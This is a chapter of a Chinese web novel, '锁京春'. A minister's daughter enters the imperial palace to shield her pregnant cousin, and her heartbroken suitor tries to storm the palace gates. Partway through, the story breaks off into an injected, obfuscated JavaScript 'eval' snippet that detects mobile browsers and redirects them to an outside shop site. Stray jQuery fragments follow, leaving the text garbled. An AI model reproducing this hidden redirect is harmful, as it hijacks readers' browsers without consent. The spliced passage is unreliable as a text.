19. 春色

作品:《锁京春

    谷纾出去的时候,谷芙在雨里倒下,全身被雨水淋的透彻,襦裙紧紧地巴在身上,上面混杂着血迹,看上去触目惊心。


    她从没见过这种场景,一时间慌了神,顾不得那么,叫人合力将谷芙抬进了屋里,又让春倦赶紧去请女医。


    谷芙的状况实在不好,一直喊着疼,脸色惨白,冷汗涔涔。


    她在旁一直安抚着,好在上次给她治伤的女医还在府里,不一会就赶来。


    女医面色沉重,最后整个人匍匐在地上,向谷纾禀告。


    谷芙怀孕了,三月有余,有滑胎之像,好在发现及时,已经稳了下来。


    她不敢相信自己听见的话。


    谷芙和沈宁泽的事情,她早在一年前就知道。


    怪她那时心软,谷芙又以命威胁,她将此事瞒了下了,只要沈宁泽回去,早日来谷家提亲。


    可她没想到竟然埋下这么大一个祸患。


    沈宁泽那时没有离开谷家,还让谷芙有了身孕,谷纾只觉得两眼一黑。


    看着床上已经晕过去的谷芙,再没有犹豫,立即派人去请谷家三位爷赶来。


    谷陵的脸已彻底黑下去,他冷冷开口:“实在不知羞耻,今晚就把她这个孩子做掉,朝中礼聘在急,不得耽误。”


    “找方才那个医女进来,让她速速动手,处理干净,事成之后......。”谷史做了一个抹脖子的动作。


    几人心领神会,正准备叫人,谷纾却突然跪下来:“请爹爹、伯父和季父收回成命,谷纾自请入宫!”


    谷詹大骇,上前拉谷纾起来。


    谁知平常娇气的小女娘在此刻怎么也拉不起来。


    “你知道你在说什么吗!”谷詹道。


    谷术闲也在一边劝解:“纾纾,你别乱说话,快起来。”


    “谷纾请愿入宫!”


    她跪在地上,明明整个身子都在晃,语气却很坚定:“请爹爹,伯父和季父成全!”


    谷史呵斥:“这不是你该管的事。”


    谷陵亦想阻止:“她一介娼妓生的庶女,入宫是她的荣耀,你只安心等着和云家大公子成婚。”


    “谷纾请愿入宫!”她跪在原地,丝毫听不进旁人的话。


    谷詹来了气:“你犟什么劲!爹就算不当这个相公也不会让你入宫!”


    他呼来谷府的小厮,准备将谷纾关起来。


    谷纾直接用头重重磕在地上,将屋里的人都吓得呼吸一窒。


    “谷纾不愿做懦夫,今日之事皆是因为我才让芙儿妹妹受这些无妄之灾,”她深吸一口气,继续说:“父兮生我,母兮鞠我。拊我蓄我,长我育我,顾我复我,出入腹我[1]。”


    “纾纾!”谷术闲喊她。


    她抬起头,眼眶里还有泪水,声音却很清明:“我是谷家嫡女,我的父亲是威慑朝堂的相公,我的伯父是目达耳通家主,我的季父是名满南昭的才子。”


    “自我成长十五年,未经丝毫苦难。可芙儿妹妹也是谷家的女儿!”


    “我在父亲怀里撒娇的时候,她在平江的大雪里跪了一夜又一夜只求季父能认她,即使她成了谷家的娘子,可歌姬生的庶女,这个身份让她无比卑贱,家族兴盛的时候,大家会赏她一句芙娘子,家族有难的时侯,她就会第一时间沦为这个家族的牺牲品。”


    谷术闲想捂住她的嘴:“纾纾!别任性,现在认错还来得及。”


    谷纾拉开他的手,腰背挺的笔直:“谷纾无错。错的是我一开始只想当懦夫,躲在家族的后面让这个家的所有人为我负重前行。我痛恨这样的自己,我及笄了,我的心告诉我,这个担子我要自己挑,只有我,才有资格做皇城里的宫妃!”


    谷陵五味杂陈,他曾经觉得谷纾聪颖,所以想把谷纾培养成第二个他,诗词歌赋琴棋书画皆教给她,可谷纾很跳脱,音律上更是烂的一绝,整日打马蹴鞠,丝毫没有一个世家淑女的样子。


    今日他才知道,他一开始没看错,谷纾担得起名门贵女这四个字。


    谷詹面色沉痛,他知道,他留不住自己的女儿了。


    他上前将谷纾搂入怀里:“明日我让春倦再去给你去置办几套首饰和新衣,银钱也要多带点,入了宫不要委屈了自己,发生什么事情给爹得寄信回来,不管你去哪,爹永远会站在你的身后。”


    谷纾最后看了一眼塌上的女子,闭上眼,说出她最后一求:“愿爹爹,伯父和季父,许她所愿。”


    谷芙的前半生太苦了,谷纾只希望她后半生事事顺意,以消她今日心头之愧。


    春雨一直下到谷纾的册封礼。


    她一下从相公家的娘子变成了皇城里的昭容,任哪个沪京的人听了都忍不住要唏嘘。


    上元香满楼的那出皮影戏好似就在昨日,云家公子将自己的心思昭告天下,满城娘子都羡慕这份情谊。


    可那又如何,不到一月,只一道圣旨,都要称一声昭容娘子。


    春日是沪京人游园踏青的好时节,城南的玉津园、方池亭榭、玉仙观每到此时就会有许多沪京的娘子结伴观景,男子流觞曲水[2]。


    谷纾以前喜欢去城西,那亭台楼阁,曲折池塘,岸边有秋千,水面有画舫,在那租一条小船,可赏尽沪京春光[3]。


    她不知在武安门前站了多久,直至最后一抹春被关在门外。


    谷纾入宫前夕,云垂野终于醒来,他喜滋滋地和云裴和宋梅湘说自己在香满楼求娶谷纾的事情,又催着云裴去谷家提亲,云裴怕他接受不了,只能先答应,能拖一天是一天。


    云垂野只觉得自己躺了不过两三天,还感叹自己身体好,那么大的伤这么快就好了。


    今早他听见府外锣鼓喧天,应该是哪家的喜事。


    想来自己和谷纾也好事将近,到时他要请乐师千计,让全城的人都知道,保管比这声音还大。


    他百般无聊的坐在院里啃苹果,心里不停地计划着,想到谷纾多日也没来看他,一下子怨气深重。


    他将苹果一扔,决定自己去看看。


    宋梅湘和云裴知道后再三阻拦,说什么也不让他出门。


    饶是再缺心眼云垂野也发现了不对劲,他不顾其他,铁了心要去谷家。


    宋梅湘看着自己的孩子心疼不已,这些年来自己孩子的心思她都看在眼里,上元夜的皮影戏,满城的五色焰火她通通都知!


    沪京的人都在等两家的姻亲,可只差临门一脚,就能得偿所愿。


    云裴悲痛地闭上了眼:“小纾是个好孩子,只是你们......没有缘分。”


    云垂野一笑:“骗我是吧。”


    “云垂野!”云裴神色郑重。


    “子魏!”宋梅湘叫住他。


    “他总要面对的!”云裴终于将憋在心里的话说出来:“谷纾已经是陛下亲封的昭容娘子!今早的锣鼓就是宫里来迎!”


    云垂野身形一晃,扯出一个极其难看的笑。


    “怎么可能,前几日她还说让我去提亲,三书六聘一样也不能少,就在前几日,我要她等我,是不是我受伤没能及时去,纾纾生气了,让你们一起来骗我?”


    “垂野,木已成舟,男子汉大丈夫看开些,等过几年你弱冠,南昭的贵女你随便挑。”云裴道。


    云垂野还是笑,脸上却苍白如纸,手掌狠狠地握在一起:“父亲,你别骗我,这个玩笑不好笑,我要去找纾纾了。”


    “你找不到她,日后你做了官,宫宴上说不定还能请一声昭容娘子万安。”云裴丝毫不留给云垂野幻想,又拿出一封信:“她留给你的。”


    云垂野颤颤巍巍接过,他此时多希望,信里什么也没有,然后云裴和以往一样笑话他好骗,可是他错了。


    快时晴雨,佳想安善。


    上元一别,得帝册书,入宫在即,未与君别。九州风景俱美,纾不能与君同往,深感可惜,愿君舟行万里,踏遍山川,历尽山河,揽物之所及,游天地无穷。


    料峭春寒,忘君珍重。


    信上赫然是谷纾的笔迹,只是她从不这么正经地和他说话。</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13396321|141191||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    他依旧不愿相信,眼中的泪水早已控制不住。


    他执意要去谷家,云裴和宋梅湘知道他一时难以接受,只能跟在他后面看着。


    偌大的相公府里到处还贴着喜字,而门口却连小厮都不见一个,府里很静,没有一点儿人气。


    谷詹一个人在谷纾的院子里,手里拿着扫帚,一遍一遍清扫着院子。


    云垂野来的时候,看见的就是这幅光景。


    那人此刻不是这个国家的一品相公,只是一个等女儿回家的老人。


    旁边的鸟笼里还有一只黑色的鹩哥,是他送给谷纾的及笄礼,嘴里还时不时念着谷娘子大美人,想来是谷纾摁头教的。


    “仲父。”


    “仲期。”


    谷詹恍惚听见有人喊他,惊喜地转身,看见来人后,面上是掩饰不住的失落,他还是走上前:“垂野和子魏兄啊,嫂嫂也来了,快座。”


    “仲父。”云垂野又喊了一声他,其他想说的话早已没了来时的勇气。


    “来找小纾的吧。”谷詹先是笑,眼角铺满了皱纹:“小纾她出去了,今日不会回来。”


    “谷娘子是沪京第一美人!”鹩哥不合时宜的说着。


    谷詹眼睛有些湿润,他轻抚鹩哥的毛发,像是透过它在看谷纾。


    云垂野眼眶通红,眉头紧紧地拧在一起,他几乎是逃出去的。


    云裴和宋梅湘怕他出事,让谷詹保重就先行离开了。


    谷詹一个人再次拿起扫帚,又开始打扫这个院子,嘴里嘀嘀咕咕,不知道念些什么。


    回来后的云垂野一声不吭,一手拿着那封信,一手拿着那个染了血的小影人,他擦了很多遍,上面的血迹就是擦不掉。


    云裴和宋梅湘以为他已经接受了这件事情,只是需要时间缓过来,便没再打扰他。


    夜里,云垂野换了一身轻便的衣服,拿着剑,趁着夜色出去了。


    香满楼上了新菜肴,以前他和谷纾总是一起去吃。


    乐坊来了新舞姬,听说长得美艳动人,谷纾看见肯定又要拿他的钱夜掷千金。


    瓦子说书人换了个故事,他听着听着就把摊砸了。


    什么昭容,她是谷府的娘子,是他未过门的妻子。


    夜色笼罩着这座皇城,武安门前布满了这座皇城的守卫军,他决定拼死一搏,用绳索和钩爪攀上城楼,入宫去救谷纾出来!


    “你疯了!这里是皇宫!”阿柴一把扣住他。


    云垂野那里会不认识眼前的人,他着实被吓了一跳,随后挣扎道:“放开我。”


    阿柴不为所动,直到马车里的人出声:“放开他。”


    云垂野此时已知晓来人,他不得其解:“你们怎么会在这里?”


    阿柴翻了个大白眼:“这话应该我问你,云家公子,私闯皇宫那可是死罪。”


    “纾纾入宫了,她那么一个爱自由的人怎么受得了高墙深院!我要带她走!”云垂野双眼猩红:“你们不说,让我猜猜,或许我不该叫你容先生,应该是六王爷!”


    阿柴随机就想动手,姬容拉开车帘制止阿柴,随即对云垂野道:“你很聪明,却太莽撞。”


    “我顾不得那么多,她是我自小就喜欢的娘子,明明我马上就要娶她了。”他生平难得莽撞,这是第一次,她想到谷纾今晚要侍奉皇帝,他就心痛的喘不过气来。


    姬容不欲多说:“痴儿。赵义安马上过来,时间不多,打晕他。”


    云垂野还未来得及反应,眼前就是已经一片漆黑。


    他被丢在太行街上,还好云裴来得及时,才不至于让云垂野露宿街头。


    这次云裴着实气极,开始他以为云垂野就闹几个月,没想到他竟然敢做出夜闯宫门这档子事。


    云裴取来长枪,云垂野跪在正堂。


    长枪打实实地打在肉上,发出皮肉绽开的声音,云垂野一声不吭地跪在堂下。


    为防止他再疯,他的腿被打断,只能整日躺在屋内,外面布满了守卫,他出不了云府。